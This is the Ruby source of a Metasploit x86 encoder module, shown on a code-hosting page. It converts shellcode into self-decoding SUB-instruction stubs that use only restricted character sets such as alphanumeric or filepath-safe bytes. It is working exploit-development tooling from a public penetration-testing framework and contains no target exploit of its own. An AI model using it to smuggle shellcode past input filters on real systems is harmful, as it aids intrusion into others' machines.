Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/x86/opt_sub.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Encoder6Rank = ManualRanking78ASM_SUBESP20 = "\x83\xEC\x20"910SET_ALPHA = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'11SET_SYM = '!@#$%^&*()_+\\-=[]{};\'":<>,.?/|~'12SET_NUM = '0123456789'13SET_FILESYM = '()_+-=\\/.,[]{}@!$%^&='1415CHAR_SET_ALPHA = SET_ALPHA + SET_SYM16CHAR_SET_ALPHANUM = SET_ALPHA + SET_NUM + SET_SYM17CHAR_SET_FILEPATH = SET_ALPHA + SET_NUM + SET_FILESYM1819def initialize20super(21'Name' => 'Sub Encoder (optimised)',22'Description' => %q{23Encodes a payload using a series of SUB instructions and writing the24encoded value to ESP. This concept is based on the known SUB encoding25approach that is widely used to manually encode payloads with very26restricted allowed character sets. It will not reset EAX to zero unless27absolutely necessary, which helps reduce the payload by 10 bytes for28every 4-byte chunk. ADD support hasn't been included as the SUB29instruction is more likely to avoid bad characters anyway.3031The payload requires a base register to work off which gives the start32location of the encoder payload in memory. If not specified, it defaults33to ESP. If the given register doesn't point exactly to the start of the34payload then an offset value is also required.3536Note: Due to the fact that many payloads use the FSTENV approach to37get the current location in memory there is an option to protect the38start of the payload by setting the 'OverwriteProtect' flag to true.39This adds 3-bytes to the start of the payload to bump ESP by 32 bytes40so that it's clear of the top of the payload.41},42'Author' => 'OJ Reeves <oj[at]buffered.io>',43'Arch' => ARCH_X86,44'License' => MSF_LICENSE,45'Decoder' => { 'BlockSize' => 4 }46)4748register_options(49[50OptString.new( 'ValidCharSet', [ false, "Specify a known set of valid chars (ALPHA, ALPHANUM, FILEPATH)" ]),51OptBool.new( 'OverwriteProtect', [ false, "Indicate if the encoded payload requires protection against being overwritten", false])52],53self.class)54end5556#57# Convert the shellcode into a set of 4-byte chunks that can be58# encoding while making sure it is 4-byte aligned.59#60def prepare_shellcode(sc, protect_payload)61# first instructions need to be ESP offsetting if the payload62# needs to be protected63sc = ASM_SUBESP20 + sc if protect_payload == true6465# first of all we need to 4-byte align the payload if it66# isn't already aligned, by prepending NOPs.67rem = sc.length % 468sc = @asm['NOP'] * (4 - rem) + sc if rem != 06970# next we break it up into 4-byte chunks, convert to an unsigned71# int block so calculations are easy72chunks = []73sc = sc.bytes.to_a74while sc.length > 075chunk = sc.shift + (sc.shift << 8) + (sc.shift << 16) + (sc.shift << 24)76chunks << chunk77end7879# return the array in reverse as this is the order the instructions80# will be written to the stack.81chunks.reverse82end8384#85# From the list of characters given, find two bytes that when86# ANDed together result in 0. Returns nil if not found.87#88def find_opposite_bytes(list)89list.each_char do |b1|90list.each_char do |b2|91if b1.ord & b2.ord == 092return (b1 * 4), (b2 * 4)93end94end95end96return nil, nil97end9899#100# Entry point to the decoder.101#102def decoder_stub(state)103return state.decoder_stub if state.decoder_stub104105# configure our instruction dictionary106@asm = {107'NOP' => "\x90",108'AND' => { 'EAX' => "\x25" },109'SUB' => { 'EAX' => "\x2D" },110'PUSH' => {111'EBP' => "\x55", 'ESP' => "\x54",112'EAX' => "\x50", 'EBX' => "\x53",113'ECX' => "\x51", 'EDX' => "\x52",114'EDI' => "\x57", 'ESI' => "\x56"115},116'POP' => { 'ESP' => "\x5C", 'EAX' => "\x58", }117}118119# set up our base register, defaulting to ESP if not specified120@base_reg = (datastore['BufferRegister'] || 'ESP').upcase121122# determine the required bytes123@required_bytes =124@asm['AND']['EAX'] +125@asm['SUB']['EAX'] +126@asm['PUSH']['EAX'] +127@asm['POP']['ESP'] +128@asm['POP']['EAX'] +129@asm['PUSH'][@base_reg]130131# generate a sorted list of valid characters132char_set = ""133case (datastore['ValidCharSet'] || "").upcase134when 'ALPHA'135char_set = CHAR_SET_ALPHA136when 'ALPHANUM'137char_set = CHAR_SET_ALPHANUM138when 'FILEPATH'139char_set = CHAR_SET_FILEPATH140else141for i in 0 .. 255142char_set += i.chr.to_s143end144end145146# remove any bad chars and populate our valid chars array.147@valid_chars = ""148char_set.each_char do |c|149@valid_chars << c.to_s unless state.badchars.include?(c.to_s)150end151152# we need the valid chars sorted because of the algorithm we use153@valid_chars = @valid_chars.chars.sort.join154@valid_bytes = @valid_chars.bytes.to_a155156all_bytes_valid = @required_bytes.bytes.reduce(true) { |a, byte| a && @valid_bytes.include?(byte) }157158# determine if we have any invalid characters that we rely on.159unless all_bytes_valid160raise EncodingError, "Bad character set contains characters that are required for this encoder to function."161end162163unless @asm['PUSH'][@base_reg]164raise EncodingError, "Invalid base register"165end166167# get the offset from the specified base register, or default to zero if not specified168reg_offset = (datastore['BufferOffset'] || 0).to_i169170# calculate two opposing values which we can use for zeroing out EAX171@clear1, @clear2 = find_opposite_bytes(@valid_chars)172173# if we can't then we bomb, because we know we need to clear out EAX at least once174unless @clear1175raise EncodingError, "Unable to find AND-able chars resulting 0 in the valid character set."176end177178# with everything set up, we can now call the encoding routine179state.decoder_stub = encode_payload(state.buf, reg_offset, datastore['OverwriteProtect'])180181state.buf = ""182state.decoder_stub183end184185#186# Determine the bytes, if any, that will result in the given chunk187# being decoded using SUB instructions from the previous EAX value188#189def sub_3(chunk, previous)190carry = 0191shift = 0192target = previous - chunk193sum = [0, 0, 0]1941954.times do |idx|196b = (target >> shift) & 0xFF197lo = md = hi = 0198199# keep going through the character list under the "lowest" valid200# becomes too high (ie. we run out)201while lo < @valid_bytes.length202# get the total of the three current bytes, including the carry from203# the previous calculation204total = @valid_bytes[lo] + @valid_bytes[md] + @valid_bytes[hi] + carry205206# if we matched a byte...207if (total & 0xFF) == b208# store the carry for the next calculation209carry = (total >> 8) & 0xFF210211# store the values in the respective locations212sum[2] |= @valid_bytes[lo] << shift213sum[1] |= @valid_bytes[md] << shift214sum[0] |= @valid_bytes[hi] << shift215break216end217218hi += 1219if hi >= @valid_bytes.length220md += 1221hi = md222end223224if md >= @valid_bytes.length225lo += 1226hi = md = lo227end228end229230# we ran out of chars to try231if lo >= @valid_bytes.length232return nil, nil233end234235shift += 8236end237238return sum, chunk239end240241#242# Helper that writes instructions to zero out EAX using two AND instructions.243#244def zero_eax245data = ""246data << @asm['AND']['EAX']247data << @clear1248data << @asm['AND']['EAX']249data << @clear2250data251end252253#254# Write instructions that perform the subtraction using the given encoded numbers.255#256def create_sub(encoded)257data = ""258encoded.each do |e|259data << @asm['SUB']['EAX']260data << [e].pack("L")261end262data << @asm['PUSH']['EAX']263data264end265266#267# Encoding the specified payload buffer.268#269def encode_payload(buf, reg_offset, protect_payload)270data = ""271272# prepare the shellcode for munging273chunks = prepare_shellcode(buf, protect_payload)274275# start by reading the value from the base register and dropping it into EAX for munging276data << @asm['PUSH'][@base_reg]277data << @asm['POP']['EAX']278279# store the offset of the stubbed placeholder280base_reg_offset = data.length281282# Write out a stubbed placeholder for the offset instruction based on283# the base register, we'll update this later on when we know how big our payload is.284encoded, _ = sub_3(0, 0)285raise EncodingError, "Couldn't offset base register." if encoded.nil?286data << create_sub(encoded)287288# finally push the value of EAX back into ESP289data << @asm['PUSH']['EAX']290data << @asm['POP']['ESP']291292# start instruction encoding from a clean slate293data << zero_eax294295# keep track of the previous instruction, because we use that as the starting point296# for the next instruction, which saves us 10 bytes per 4 byte block. If we can't297# offset correctly, we zero EAX and try again.298previous = 0299chunks.each do |chunk|300encoded, previous = sub_3(chunk, previous)301302if encoded.nil?303# try again with EAX zero'd out304data << zero_eax305encoded, previous = sub_3(chunk, 0)306end307308# if we're still nil here, then we have an issue309raise EncodingError, "Couldn't encode payload" if encoded.nil?310311data << create_sub(encoded)312end313314# Now that the entire payload has been generated, we figure out offsets315# based on sizes so that the payload overlaps perfectly with the end of316# our decoder317total_offset = reg_offset + data.length + (chunks.length * 4) - 1318encoded, _ = sub_3(total_offset, 0)319320# if we're still nil here, then we have an issue321raise EncodingError, "Couldn't encode protection" if encoded.nil?322patch = create_sub(encoded)323324# patch in the correct offset back at the start of our payload325data[base_reg_offset .. base_reg_offset + patch.length] = patch326327# and we're done finally!328data329end330end331332333334